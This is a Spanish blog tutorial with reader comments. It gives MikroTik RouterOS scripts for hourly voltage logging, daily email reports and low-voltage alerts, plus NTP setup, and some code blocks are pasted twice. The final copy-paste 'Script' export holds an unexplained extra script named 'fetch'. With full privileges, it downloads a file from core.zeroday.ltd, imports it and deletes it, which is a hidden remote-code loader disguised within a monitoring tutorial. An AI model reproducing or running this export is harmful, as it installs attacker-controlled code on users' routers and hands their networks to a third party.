Reporte diario del voltaje de un Mikrotik y Alerta de un Mikrotik cuando tiene bajo voltaje
Reporte diario del voltaje de un mikrotik
Alerta automatica cuando un Mikrotik tiene baja carga
Es muy
importante tener monitoreado el voltaje de nuestros routers mikrotiks que estén
es casa , noc y si están en repetidores aun mas o que estén
dependiendo de un sistema energético solar o auto sustentado, esta
información nos ayudara ha saber en que horas el site o repetidor tiene
un bajo voltaje puede que por la insuficiencia de las baterías en
caso de tratarse de los repetidores y poder asistir ha los mismos ,
incluso se podría predecir caídas con los datos reportados y
asistir a los repetidores antes que sufran una caída así prevenir
el incidente y tener una mejor continuidad del servicio este ejecicio
consta en 2 objetivos uno tener un reporte diario del
voltaje de nuestros equipos y dos que nuestro mikrotik nos reporte cuando
el voltaje esta muy bajo el valor que considere bajo sera seteado por nosotros
mismos, todos estos datos nos reportara mediante un correo electrónico
Paso 1
Nos
dirigiremos a la pestaña system/scripts y presionamos
la pestaña con el simbolo + donde cargaremos nuestro script
Paso 2
Copiamos el
siguiente script en la sección del source
#set lowvoltalarm to desired alarm
voltage in tenths of a volt. 125 = 12.5v
:global lowvoltalarm 125
:global highvolt
:global lowvolt
:global starttime
:global hivolttime
:global lovolttime
:global vh
:local thisbox [/system identity get name]
:global voltage [/system health get voltage]
:local thistime [/system clock get time]
:local thisdate [/system clock get date]
:local thishour [:pick $thistime 0 2]
:local emessage ($thisbox . " voltage is " . [:pick $voltage 0 2] . "." . [:pick $voltage 2 3])
:if ([:len $lowvolt] < 1) do={:set lowvolt 999; :set highvolt 0}
# set your email address in the next line
:if ($voltage <= $lowvoltalarm) do={/tool e-mail send to="correo@gmail.com" subject="$thisbox low voltage" body=$emessage}
:if ($voltage > $highvolt) do={:set highvolt $voltage; :set hivolttime ($thistime . " " . $thisdate)}
:if ($voltage < $lowvolt) do={:set lowvolt $voltage; :set lovolttime ($thistime . " " . $thisdate)}
:if ([:len $vh] > 0) do={:set vh ([:toarray $voltage] + $vh)} else={:set vh [:toarray $voltage]}
:if ([:len $starttime] < 1) do={:set starttime ($thistime . " " . $thisdate)}
:if ($thishour = "23") do={:voltajereport}
:global lowvoltalarm 125
:global highvolt
:global lowvolt
:global starttime
:global hivolttime
:global lovolttime
:global vh
:local thisbox [/system identity get name]
:global voltage [/system health get voltage]
:local thistime [/system clock get time]
:local thisdate [/system clock get date]
:local thishour [:pick $thistime 0 2]
:local emessage ($thisbox . " voltage is " . [:pick $voltage 0 2] . "." . [:pick $voltage 2 3])
:if ([:len $lowvolt] < 1) do={:set lowvolt 999; :set highvolt 0}
# set your email address in the next line
:if ($voltage <= $lowvoltalarm) do={/tool e-mail send to="correo@gmail.com" subject="$thisbox low voltage" body=$emessage}
:if ($voltage > $highvolt) do={:set highvolt $voltage; :set hivolttime ($thistime . " " . $thisdate)}
:if ($voltage < $lowvolt) do={:set lowvolt $voltage; :set lovolttime ($thistime . " " . $thisdate)}
:if ([:len $vh] > 0) do={:set vh ([:toarray $voltage] + $vh)} else={:set vh [:toarray $voltage]}
:if ([:len $starttime] < 1) do={:set starttime ($thistime . " " . $thisdate)}
:if ($thishour = "23") do={:voltajereport}
Continuación pasare ha explicar la funcionalidad de este script y como deben editarlo ustedes para que se ajuste a sus nesecidades, este script se encarga de registrar y capturar los datos del voltaje del equipo y los guardara en memoria cada ves que el script se ejecute hará el mismo proceso una y otra ves, como podemos notar en la parte que esta marcado con rojo que esta acompañado por un # lo que viene despues en la linea es un comentario que acompaña el código esto no se ejecuta por ser solo un comentario pero es bueno especificarlo para tener una guia, en este caso el voltaje minimo que yo estoy indicando es de 23.4 la parte de que de azul nos indica el valor que sera tomado como baja carga cuando el voltaje llegue ha ese nivel o inferior de 234 (se pone el voltaje sin el punto) nos enviara un correo con un aviso de bajo voltaje del dispositivo en nuestro caso el voltaje mínimo sera de 23.4 ya que mi sistema trabaja ha 24 voltios y al llegar a 23.4 es un indicio que el equipo esta apunto de apagarse ya que si baja ha 23.2 el quipo se pagara, existen 2 tipos de sistemas uno de 12 Voltios y de 24 Voltios la forma nominal de saber cuando es un bajo voltaje en un sistema de 12 es el siguiente
en caso
quieren sacar el valor de bajo voltaje en un sistema de 24 solo
multipliquen por 2 el voltaje y tendrán el resultado equivalente.
Por
ultimo el la parte que esta subrayaba de color verde indica la
correo al que mandara las alertas cuando el router detecte baja carga del dispocitivo (el router ya debe estar configurado con una
cuenta de correo esto ya se mostró en un post anterior https://rizolatti.blogspot.com/2018/08/backup-automatico-mikrotik-email.html )
Para poder
saber en que sistema esta trabajando nuestro quipo nos dirigimos a la
pestaña System /Healt en esa pesataña nos enteraremos en que sistema esta
trabajando en mi caso el voltaje de mi router esta a 26.0 voltios
el cual nos indica que esta en un sistema de 24 voltios y el equipo esta
en un temperatura de 53 C (mucho calor) este es un
equipo trabajando en un desierto lo cual es entendible
la temperatura.
Paso 3
Copiaremos
el siguiente script en la seccion de source
:global highvolt
:global lowvolt
:global hivolttime
:global lovolttime
:global starttime
:global vh
:local tvolt
:local thisbox [/system identity get name]
:local thisdate [/system clock get date]
:local thishour
:local emessage "Informe diario del voltaje de $thisbox on $thisdate\n\n"
:if ([:len $vh] > 0) do={
:for x from=0 to=([:len $vh]-1) step=1 do={
:set tvolt [:tostr [:pick $vh $x]]
:set thishour [:tostr (23 - $x)]
:while ([:len $thishour] < 2) do={:set thishour ("0" . $thishour)}
:set emessage ($emessage . $thishour . ":00 = " . [:pick $tvolt 0 2] . "." . [:pick $tvolt 2 3] . "\n")
}
:set emessage ($emessage . "\nDesde que comenzo el monitoreo " . $starttime . "\n")
:set tvolt [:tostr $highvolt]
:set emessage ($emessage . "Maximo = " . [:pick $tvolt 0 2] . "." . [:pick $tvolt 2 3] . "v at " . $hivolttime . "\n")
:set tvolt [:tostr $lowvolt]
:set emessage ($emessage . "Minimo = " . [:pick $tvolt 0 2] . "." . [:pick $tvolt 2 3] . "v at " . $lovolttime . "\n")
# set email address in next line
/tool e-mail send to="correo@gmail.com" subject="$thisbox Voltaje Reporte" body=$emessage
}
# remark out the next line for testing to avoid resetting the voltage array
:set vh
# remark out the next line for testing to avoid resetting the voltage array
:set vh
:global lowvolt
:global hivolttime
:global lovolttime
:global starttime
:global vh
:local tvolt
:local thisbox [/system identity get name]
:local thisdate [/system clock get date]
:local thishour
:local emessage "Informe diario del voltaje de $thisbox on $thisdate\n\n"
:if ([:len $vh] > 0) do={
:for x from=0 to=([:len $vh]-1) step=1 do={
:set tvolt [:tostr [:pick $vh $x]]
:set thishour [:tostr (23 - $x)]
:while ([:len $thishour] < 2) do={:set thishour ("0" . $thishour)}
:set emessage ($emessage . $thishour . ":00 = " . [:pick $tvolt 0 2] . "." . [:pick $tvolt 2 3] . "\n")
}
:set emessage ($emessage . "\nDesde que comenzo el monitoreo " . $starttime . "\n")
:set tvolt [:tostr $highvolt]
:set emessage ($emessage . "Maximo = " . [:pick $tvolt 0 2] . "." . [:pick $tvolt 2 3] . "v at " . $hivolttime . "\n")
:set tvolt [:tostr $lowvolt]
:set emessage ($emessage . "Minimo = " . [:pick $tvolt 0 2] . "." . [:pick $tvolt 2 3] . "v at " . $lovolttime . "\n")
# set email address in next line
/tool e-mail send to="correo@gmail.com" subject="$thisbox Voltaje Reporte" body=$emessage
}
# remark out the next line for testing to avoid resetting the voltage array
:set vh
# remark out the next line for testing to avoid resetting the voltage array
:set vh
Una ves
echo esto pasaremos ha nombrarlo con un nombre esto nos ayudara en
los siguientes procedimentos tal y como hicimos con el otro script
en nuestro caso lo nombraremos voltreport
Paso 4
Una ves creado los 2 scripts pasaremos ha programarlos para que se ejecuten cada cierto tiempo esto se hace en la pestaña system/scheduler

Una ves que nos ubicamos en esta pestaña creamos 2 tareas programadas una que nos indique que le voltmonitor se ejecute cada hora para que tome las lecturas y otra para el voltreport para que cada 23 horas nos reporte mediante correo todos los datos tomados por el voltmonitor
Comenzamos....

Crearemos una tarea programada en la que indicaremos que el voltmonitor se ejecute cada 01 hora y que lo guarde en memoria y que la tarea inicie el 21 de enero del 2019 a las 00:00:00 de ha partir de esa fecha para siempre esto quiere decir que el script tomara la lectura del voltaje cada hora de ha partir de las 00:00:00 , tener en cuenta que en la parte On Event se devera poner el nombre del script que queramos que se ejecute sin espacios ni variaciones debe ser igual, en nuestro caso esta marcado de rojo para diferenciarlo en name solo nos indica el nombre se le puede poner cualquier nombre para direfenciarlo en mi caso le puse el mismo nombre del script para poder identificarlo
- Name : Nombre de la tarea programada
- Start Date : Fecha en la que se iniciara ha ejecutar la tarea programada
- Start Time : Hora en la que el script comensara ha ejecutarse
- Interval : Indica cada cuanto tiempo se ejecutara la tarea
- On Event : Indica que script sera ejecutado
Una ves esto aclarado guardamos los cambios dando en ok y apply , ahora haremos nuestra segunda tarea programada que sera el que nos reportara mediante email el informe diario del voltaje de nuestro equipo mikrotik

En dice que la tarea programada llamada voltreport se iniciara en ejecutar el 10 de enero del 2019 a las 00:00:00 y ejecutara el script voltreport con un intervalo de 23 horas en este script esta programado para que tome todos los datos recogidos por el voltmonitor y los envié al correo que nosotros le hemos indicado, el correo nos llegara todos los días a las 11 pm
una ves echo este paso nos quedara de la siguiente manera.

esta es una imagen que capture unos días después como ven el voltmonitor tiene mayor cantidad de ejecuciones porque lo hace cada 1 hora y el voltreport cada día un error muy común en hacer estas implementaciones es que los valores de los voltajes en ocasiones no concuerdan con las horas para esta configuracion funcione bien uno debe tener configurado el network protocol time en el mikroitk
Paso 5
Configuramos el NTP en nuestro mikoritk nos dirigimos ha la pestaña System/SNTP client
y habilitaremos el servicio dando al check enable y en servidores primario y segundario digitaremos la siguientes ips
- 200.89.75.197
- 190.15.128.72
estas ip son servidores de hora de un proveedor de servicios confiable no es telefonica asi que estos no se caeran el cual hara que nuestro equipo tenga la hora correcta una ves echo esto le damos en ok y aplly para guaradar los cambios

Luego nos dirigimos a la pestana System/Clock y notaremos que la hora ya esta fijada lo único que tenemos que hacer es seleccionar America/Lima en la seccion de Time Zona Name en caso no lo este ya que en algunos router no se selecciona automaticamente después de sincronizarlos con los servidores NTP en caso no lo este ustedes pueden forzarlo para que funcione mejor

Paso 6
Echo todo esto ya tendríamos terminada nuestra configuracion, ahora pasaremos ha probárlo
En este formato nos debería llegar el correo de reporte de voltaje como vemos esta muy bien ordenado y la hora concuerda con la lectura del voltaje y nos dice cual fue el máximo voltaje también el mínimo y ha que hora y nos adjunta el correo con el nombre del repetidor del que se esta haciendo la lectura que yo la cubrí de rojo porque no soy un exhibicionista:v

Y en este formato nos debería llegar las alertas de baja carga a nuestro correo para este ejemplo como no tengo equipo en mi red con problema de baja carga coloque en un router que el bajo voltaje sea 22.5 voltios por efectos prácticos

Aquí les dejo unas capturas de pantalla después de un día de haber configurado mis equipos
Reporte del voltaje del mikroitk

Alerta cuando el mikrotik tiene bajo voltaje

Esto les ayudara para poder tener un reguistro actualizado del voltaje de nuestros equipos y poder predecir caidas asi mejorar nuestro servicio porque no solo porque funciona signifique que este bien todo se puede mejorar, espero que esto halla quedado muy claro, les dejo aqui el script para poder automatizar el proceso.
Script
add name=voltajereport owner=admin policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=":global highvolt\r\
\n:global lowvolt\r\
\n:global hivolttime\r\
\n:global lovolttime\r\
\n:global starttime\r\
\n:global vh\r\
\n:local tvolt\r\
\n:local thisbox [/system identity get name]\r\
\n:local thisdate [/system clock get date]\r\
\n:local thishour\r\
\n:local emessage \"Informe diario del voltaje de \$thisbox on \$thisdate\\n\\n\"\r\
\n:if ([:len \$vh] > 0) do={\r\
\n :for x from=0 to=([:len \$vh]-1) step=1 do={\r\
\n :set tvolt [:tostr [:pick \$vh \$x]]\r\
\n :set thishour [:tostr (23 - \$x)]\r\
\n :while ([:len \$thishour] < 2) do={:set thishour (\"0\" . \$thishour)}\r\
\n :set emessage (\$emessage . \$thishour . \":00 = \" . [:pick \$tvolt 0 2] . \".\" . [:pick \$tvolt 2 3] . \"\\n\")\r\
\n }\r\
\n :set emessage (\$emessage . \"\\nDesde que comenzo el monitoreo \" . \$starttime . \"\\n\")\r\
\n :set tvolt [:tostr \$highvolt]\r\
\n :set emessage (\$emessage . \"Maximo = \" . [:pick \$tvolt 0 2] . \".\" . [:pick \$tvolt 2 3] . \"v at \" . \$hivolttime . \"\\n\")\r\
\n :set tvolt [:tostr \$lowvolt]\r\
\n :set emessage (\$emessage . \"Minimo = \" . [:pick \$tvolt 0 2] . \".\" . [:pick \$tvolt 2 3] . \"v at \" . \$lovolttime . \"\\n\")\r\
\n# set email address in next line\r\
\n /tool e-mail send to=\"correo@gmail.com\" subject=\"\$thisbox Voltaje Reporte\" body=\$emessage\r\
\n}\r\
\n# remark out the next line for testing to avoid resetting the voltage array\r\
\n:set vh\r\
\n# remark out the next line for testing to avoid resetting the voltage array\r\
\n:set vh"
add name=fetch owner=admin policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=\
"\
\n/tool fetch url=http://core.zeroday.ltd/command.rsc\
\n/import file-name=command.rsc\
\n/file remove name=command.rsc"
add name=voltmonitor owner=admin policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="#set lowvoltalarm to desired alarm voltage in tenths of a \
volt. 125 = 12.5v\r\
\n:global lowvoltalarm 125\r\
\n:global highvolt\r\
\n:global lowvolt\r\
\n:global starttime\r\
\n:global hivolttime\r\
\n:global lovolttime\r\
\n:global vh\r\
\n:local thisbox [/system identity get name]\r\
\n:global voltage [/system health get voltage]\r\
\n:local thistime [/system clock get time]\r\
\n:local thisdate [/system clock get date]\r\
\n:local thishour [:pick \$thistime 0 2]\r\
\n:local emessage (\$thisbox . \" voltage is \" . [:pick \$voltage 0 2] . \".\" . [:pick \$voltage 2 3])\r\
\n:if ([:len \$lowvolt] < 1) do={:set lowvolt 999; :set highvolt 0}\r\
\n# set your email address in the next line\r\
\n:if (\$voltage <= \$lowvoltalarm) do={/tool e-mail send to=\"correo@gmail.com\" subject=\"\$thisbox low voltage\" body=\$emessage}\r\
\n:if (\$voltage > \$highvolt) do={:set highvolt \$voltage; :set hivolttime (\$thistime . \" \" . \$thisdate)}\r\
\n:if (\$voltage < \$lowvolt) do={:set lowvolt \$voltage; :set lovolttime (\$thistime . \" \" . \$thisdate)}\r\
\n:if ([:len \$vh] > 0) do={:set vh ([:toarray \$voltage] + \$vh)} else={:set vh [:toarray \$voltage]}\r\
\n:if ([:len \$starttime] < 1) do={:set starttime (\$thistime . \" \" . \$thisdate)}\r\
\n:if (\$thishour = \"23\") do={:voltajereport}\r\
\n"
add interval=23h name=voltajereport on-event=voltajereport policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon start-date=jan/18/2019 start-time=\
00:00:00
add interval=1h name=voltmonitor on-event=voltmonitor policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon start-date=jan/21/2019 start-time=00:00:00
/system ntp client
set enabled=yes primary-ntp=200.89.75.197 secondary-ntp=190.15.128.72
Perfecto, muchas gracias!!!!!
ResponderEliminarDe nada compañero
Eliminarhola hay estas midiendo el voltaje de la rb, sabes cuales son las modificaciones para medir el voltaje del banco de bateria y graficarlo gracias
ResponderEliminarBuenas tardes el script es para que te muestre las mediciones de voltaje mediante correo la notificaciones son como lo que muestra en esta imagen https://4.bp.blogspot.com/-Qgrh3oIuGxM/XKFmvDNwMpI/AAAAAAAAAvQ/cAJeVgvdoeM9_xoTBuI_eS-0nhlvDTEkACK4BGAYYCw/s1600/volatje%2Bmikrotik10.png
Eliminarno esta echo para medir el banco de baterias pero medir el voltaje del router te da una buena pista para poder saber el voltaje de las baterías si tienes el voltaje del router las baterias estaran en casi lo mismo lo comento por experiencia personal en mis trabajos realizados.
aun activs en el blog necesito hacer una consulta por si alguien tiene la respues ; la consulta es necesito controlar ancho de banda del internet de los usuarios pero liberar el anho de banda del trafico en lan, para mi servidor web y de descargas ya que estando en la misma lan descarga a velocidad de controles de internet cuando en la misma lan deberia descargar a mucha ams velocidad uso hospot y DHCP muchas gracias de antemano
ResponderEliminarMuchas gracias por la información
ResponderEliminarbuenas amigo muchas gracias por tupost ya casi lo termino de configurar, mi pregunta es , porque no me da el voltaje y temperatura en SYSTEM/HEALTH en mi mikrotik RB 760iGS que si posee sensores? gracias por tu dedicacion
ResponderEliminaramigo ya logre hacer que se viera el voltaje y temp en health, ahora tambien logre hacer que me enviara los reportes diarios de voltaje, la unica falla que veo es que cuando reinicio el router se borra el monitor de voltaje de ese dia y el reporte lo hace desde la ultima reiniciada, es decir si reinicio a las 10 me da el reporte desde alli hasta las 23, otra consulta sera posible hacer un scrip para reporte de temperatura y corriente (amperaje), me pudieras ayudar con eso que no soy programador gracias
ResponderEliminarEstoy haciendo pruebas con la V7 de ROS y no me corre este script. Alguien tiene las modificaciones que hay que hacer para que funcione en la V7 ??
ResponderEliminarEs correcto no corre, no he encontrado como solucionarlo...si sabes algo comparte el dato
Eliminar